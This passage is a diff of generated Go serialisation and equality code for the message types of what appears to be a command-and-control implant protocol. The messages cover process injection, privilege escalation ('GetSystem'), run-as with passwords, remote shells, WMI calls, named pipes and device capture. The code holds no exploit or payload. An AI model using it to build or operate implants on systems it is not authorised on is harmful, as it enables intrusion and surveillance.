this.NextRunTime != that.NextRunTime { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskSchedule) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskSchedule) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskSchedulesResponse) EqualVT(that *TaskSchedulesResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Schedules) != len(that.Schedules) { + return false + } + for i, vx := range this.Schedules { + vy := that.Schedules[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &TaskSchedule{} + } + if q == nil { + q = &TaskSchedule{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskSchedulesResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskSchedulesResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServiceRequest) EqualVT(that *ServiceRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Service.EqualVT(that.Service) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServiceRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServiceRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServiceConfig) EqualVT(that *ServiceConfig) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.DisplayName != that.DisplayName { + return false + } + if this.ExecutablePath != that.ExecutablePath { + return false + } + if this.StartType != that.StartType { + return false + } + if this.ErrorControl != that.ErrorControl { + return false + } + if this.AccountName != that.AccountName { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServiceConfig) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServiceConfig) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServiceStatus) EqualVT(that *ServiceStatus) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.CurrentState != that.CurrentState { + return false + } + if this.ProcessId != that.ProcessId { + return false + } + if this.ExitCode != that.ExitCode { + return false + } + if this.Checkpoint != that.Checkpoint { + return false + } + if this.WaitHint != that.WaitHint { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServiceStatus) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServiceStatus) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Service) EqualVT(that *Service) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if !this.Config.EqualVT(that.Config) { + return false + } + if !this.Status.EqualVT(that.Status) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Service) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Service) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ServicesResponse) EqualVT(that *ServicesResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Services) != len(that.Services) { + return false + } + for i, vx := range this.Services { + vy := that.Services[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Service{} + } + if q == nil { + q = &Service{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ServicesResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ServicesResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *WmiQueryRequest) EqualVT(that *WmiQueryRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Namespace != that.Namespace { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *WmiQueryRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*WmiQueryRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *WmiMethodRequest) EqualVT(that *WmiMethodRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Namespace != that.Namespace { + return false + } + if this.ClassName != that.ClassName { + return false + } + if this.MethodName != that.MethodName { + return false + } + if len(this.Params) != len(that.Params) { + return false + } + for i, vx := range this.Params { + vy, ok := that.Params[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *WmiMethodRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*WmiMethodRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *RunAsRequest) EqualVT(that *RunAsRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Username != that.Username { + return false + } + if this.Domain != that.Domain { + return false + } + if this.Password != that.Password { + return false + } + if this.Program != that.Program { + return false + } + if this.Args != that.Args { + return false + } + if this.UseProfile != that.UseProfile { + return false + } + if this.Netonly != that.Netonly { + return false + } + if this.UseEnv != that.UseEnv { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *RunAsRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*RunAsRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *GetSystem) EqualVT(that *GetSystem) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + if this.Pid != that.Pid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *GetSystem) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*GetSystem) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Inject) EqualVT(that *Inject) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + if this.Pid != that.Pid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Inject) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Inject) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Pipe) EqualVT(that *Pipe) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Target != that.Target { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Pipe) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Pipe) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PipeRequest) EqualVT(that *PipeRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Pipe.EqualVT(that.Pipe) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PipeRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PipeRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Switch) EqualVT(that *Switch) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Urls) != len(that.Urls) { + return false + } + for i, vx := range this.Urls { + vy := that.Urls[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Switch) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Switch) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskCtrl) EqualVT(that *TaskCtrl) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.TaskId != that.TaskId { + return false + } + if this.Op != that.Op { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskCtrl) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskCtrl) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskInfo) EqualVT(that *TaskInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.TaskId != that.TaskId { + return false + } + if this.Last != that.Last { + return false + } + if this.RecvCount != that.RecvCount { + return false + } + if this.SendCount != that.SendCount { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskListResponse) EqualVT(that *TaskListResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Tasks) != len(that.Tasks) { + return false + } + for i, vx := range this.Tasks { + vy := that.Tasks[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &TaskInfo{} + } + if q == nil { + q = &TaskInfo{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskListResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskListResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *FFmpegRequest) EqualVT(that *FFmpegRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Action != that.Action { + return false + } + if this.DeviceName != that.DeviceName { + return false + } + if this.OutputFormat != that.OutputFormat { + return false + } + if this.OutputPath != that.OutputPath { + return false + } + if this.Time != that.Time { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *FFmpegRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*FFmpegRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PtyRequest) EqualVT(that *PtyRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if this.SessionId != that.SessionId { + return false + } + if this.Shell != that.Shell { + return false + } + if this.Cols != that.Cols { + return false + } + if this.Rows != that.Rows { + return false + } + if string(this.InputData) != string(that.InputData) { + return false + } + if this.InputText != that.InputText { + return false + } + if len(this.Params) != len(that.Params) { + return false + } + for i, vx := range this.Params { + vy, ok := that.Params[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PtyRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PtyRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PtyResponse) EqualVT(that *PtyResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.SessionId != that.SessionId { + return false + } + if string(this.OutputData) != string(that.OutputData) { + return false + } + if this.OutputText != that.OutputText { + return false + } + if this.Error != that.Error { + return false + } + if this.SessionActive != that.SessionActive { + return false + } + if len(this.ActiveSessions) != len(that.ActiveSessions) { + return false + } + for i, vx := range this.ActiveSessions { + vy := that.ActiveSessions[i] + if vx != vy { + return false + } + } + if len(this.Metadata) != len(that.Metadata) { + return false + } + for i, vx := range this.Metadata { + vy, ok := that.Metadata[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PtyResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PtyResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *CommonBody) EqualVT(that *CommonBody) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if len(this.U32Array) != len(that.U32Array) { + return false + } + for i, vx := range this.U32Array { + vy := that.U32Array[i] + if vx != vy { + return false + } + } + if len(this.U64Array) != len(that.U64Array) { + return false + } + for i, vx := range this.U64Array { + vy := that.U64Array[i] + if vx != vy { + return false + } + } + if len(this.BoolArray) != len(that.BoolArray) { + return false + } + for i, vx := range this.BoolArray { + vy := that.BoolArray[i] + if vx != vy { + return false + } + } + if len(this.StringArray) != len(that.StringArray) { + return false + } + for i, vx := range this.StringArray { + vy := that.StringArray[i] + if vx != vy { + return false + } + } + if len(this.BytesArray) != len(that.BytesArray) { + return false + } + for i, vx := range this.BytesArray { + vy := that.BytesArray[i] + if string(vx) != string(vy) { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *CommonBody) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*CommonBody) + if !ok { + return false + } + return this.EqualVT(that) +} + +// MarshalProtoJSON marshals the Ping message to JSON. +func (x *Ping) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Nonce != 0 || s.HasField("nonce") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("nonce") + s.WriteInt32(x.Nonce) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Ping to JSON. +func (x *Ping) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Ping message from JSON. +func (x *Ping) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "nonce": + s.AddField("nonce") + x.Nonce = s.ReadInt32() + } + }) +} + +// UnmarshalJSON unmarshals the Ping from JSON. +func (x *Ping) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Register message to JSON. +func (x *Register) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Proxy != "" || s.HasField("proxy") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("proxy") + s.WriteString(x.Proxy) + } + if len(x.Module) > 0 || s.HasField("module") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("module") + s.WriteStringArray(x.Module) + } + if len(x.Addons) > 0 || s.HasField("addons") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("addons") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Addons { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("addons")) + } + s.WriteArrayEnd() + } + if x.Timer != nil || s.HasField("timer") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timer") + x.Timer.MarshalProtoJSON(s.WithField("timer")) + } + if x.Sysinfo != nil || s.HasField("sysinfo") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sysinfo") + x.Sysinfo.MarshalProtoJSON(s.WithField("sysinfo")) + } + if x.Secure != nil || s.HasField("secure") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("secure") + x.Secure.MarshalProtoJSON(s.WithField("secure")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Register to JSON. +func (x *Register) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Register message from JSON. +func (x *Register) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "proxy": + s.AddField("proxy") + x.Proxy = s.ReadString() + case "module": + s.AddField("module") + if s.ReadNil() { + x.Module = nil + return + } + x.Module = s.ReadStringArray() + case "addons": + s.AddField("addons") + if s.ReadNil() { + x.Addons = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Addons = append(x.Addons, nil) + return + } + v := &Addon{} + v.UnmarshalProtoJSON(s.WithField("addons", false)) + if s.Err() != nil { + return + } + x.Addons = append(x.Addons, v) + }) + case "timer": + if s.ReadNil() { + x.Timer = nil + return + } + x.Timer = &Timer{} + x.Timer.UnmarshalProtoJSON(s.WithField("timer", true)) + case "sysinfo": + if s.ReadNil() { + x.Sysinfo = nil + return + } + x.Sysinfo = &SysInfo{} + x.Sysinfo.UnmarshalProtoJSON(s.WithField("sysinfo", true)) + case "secure": + if s.ReadNil() { + x.Secure = nil + return + } + x.Secure = &Secure{} + x.Secure.UnmarshalProtoJSON(s.WithField("secure", true)) + } + }) +} + +// UnmarshalJSON unmarshals the Register from JSON. +func (x *Register) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Secure message to JSON. +func (x *Secure) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Enable || s.HasField("enable") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("enable") + s.WriteBool(x.Enable) + } + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.PublicKey != "" || s.HasField("publicKey") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("publicKey") + s.WriteString(x.PublicKey) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Secure to JSON. +func (x *Secure) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Secure message from JSON. +func (x *Secure) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "enable": + s.AddField("enable") + x.Enable = s.ReadBool() + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "public_key", "publicKey": + s.AddField("public_key") + x.PublicKey = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Secure from JSON. +func (x *Secure) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the KeyExchangeRequest message to JSON. +func (x *KeyExchangeRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.PublicKey != "" || s.HasField("publicKey") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("publicKey") + s.WriteString(x.PublicKey) + } + if len(x.Signature) > 0 || s.HasField("signature") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("signature") + s.WriteBytes(x.Signature) + } + if x.Timestamp != 0 || s.HasField("timestamp") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timestamp") + s.WriteUint64(x.Timestamp) + } + if x.Nonce != "" || s.HasField("nonce") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("nonce") + s.WriteString(x.Nonce) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the KeyExchangeRequest to JSON. +func (x *KeyExchangeRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the KeyExchangeRequest message from JSON. +func (x *KeyExchangeRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "public_key", "publicKey": + s.AddField("public_key") + x.PublicKey = s.ReadString() + case "signature": + s.AddField("signature") + x.Signature = s.ReadBytes() + case "timestamp": + s.AddField("timestamp") + x.Timestamp = s.ReadUint64() + case "nonce": + s.AddField("nonce") + x.Nonce = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the KeyExchangeRequest from JSON. +func (x *KeyExchangeRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the KeyExchangeResponse message to JSON. +func (x *KeyExchangeResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.PublicKey != "" || s.HasField("publicKey") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("publicKey") + s.WriteString(x.PublicKey) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the KeyExchangeResponse to JSON. +func (x *KeyExchangeResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the KeyExchangeResponse message from JSON. +func (x *KeyExchangeResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "public_key", "publicKey": + s.AddField("public_key") + x.PublicKey = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the KeyExchangeResponse from JSON. +func (x *KeyExchangeResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Init message to JSON. +func (x *Init) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Init to JSON. +func (x *Init) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Init message from JSON. +func (x *Init) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the Init from JSON. +func (x *Init) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the SysInfo message to JSON. +func (x *SysInfo) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Filepath != "" || s.HasField("filepath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("filepath") + s.WriteString(x.Filepath) + } + if x.Workdir != "" || s.HasField("workdir") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("workdir") + s.WriteString(x.Workdir) + } + if x.IsPrivilege || s.HasField("isPrivilege") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("isPrivilege") + s.WriteBool(x.IsPrivilege) + } + if x.Os != nil || s.HasField("os") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("os") + x.Os.MarshalProtoJSON(s.WithField("os")) + } + if x.Process != nil || s.HasField("process") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("process") + x.Process.MarshalProtoJSON(s.WithField("process")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the SysInfo to JSON. +func (x *SysInfo) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the SysInfo message from JSON. +func (x *SysInfo) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "filepath": + s.AddField("filepath") + x.Filepath = s.ReadString() + case "workdir": + s.AddField("workdir") + x.Workdir = s.ReadString() + case "is_privilege", "isPrivilege": + s.AddField("is_privilege") + x.IsPrivilege = s.ReadBool() + case "os": + if s.ReadNil() { + x.Os = nil + return + } + x.Os = &Os{} + x.Os.UnmarshalProtoJSON(s.WithField("os", true)) + case "process": + if s.ReadNil() { + x.Process = nil + return + } + x.Process = &Process{} + x.Process.UnmarshalProtoJSON(s.WithField("process", true)) + } + }) +} + +// UnmarshalJSON unmarshals the SysInfo from JSON. +func (x *SysInfo) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Suicide message to JSON. +func (x *Suicide) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != 0 || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteInt32(x.Type) + } + if x.Timestamp != 0 || s.HasField("timestamp") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timestamp") + s.WriteInt64(x.Timestamp) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Suicide to JSON. +func (x *Suicide) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Suicide message from JSON. +func (x *Suicide) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadInt32() + case "timestamp": + s.AddField("timestamp") + x.Timestamp = s.ReadInt64() + } + }) +} + +// UnmarshalJSON unmarshals the Suicide from JSON. +func (x *Suicide) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Request_ParamsEntry message to JSON. +func (x *Request_ParamsEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Request_ParamsEntry to JSON. +func (x *Request_ParamsEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Request_ParamsEntry message from JSON. +func (x *Request_ParamsEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Request_ParamsEntry from JSON. +func (x *Request_ParamsEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Request message to JSON. +func (x *Request) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Input != "" || s.HasField("input") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("input") + s.WriteString(x.Input) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + if x.Params != nil || s.HasField("params") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("params") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Params { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Request to JSON. +func (x *Request) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Request message from JSON. +func (x *Request) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "input": + s.AddField("input") + x.Input = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + case "params": + s.AddField("params") + if s.ReadNil() { + x.Params = nil + return + } + x.Params = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Params[key] = s.ReadString() + }) + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the Request from JSON. +func (x *Request) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Response_KvEntry message to JSON. +func (x *Response_KvEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Response_KvEntry to JSON. +func (x *Response_KvEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Response_KvEntry message from JSON. +func (x *Response_KvEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Response_KvEntry from JSON. +func (x *Response_KvEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Response message to JSON. +func (x *Response) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Output != "" || s.HasField("output") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("output") + s.WriteString(x.Output) + } + if x.Error != "" || s.HasField("error") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("error") + s.WriteString(x.Error) + } + if x.Kv != nil || s.HasField("kv") { + s.WriteMoreIf(&wroteField) + 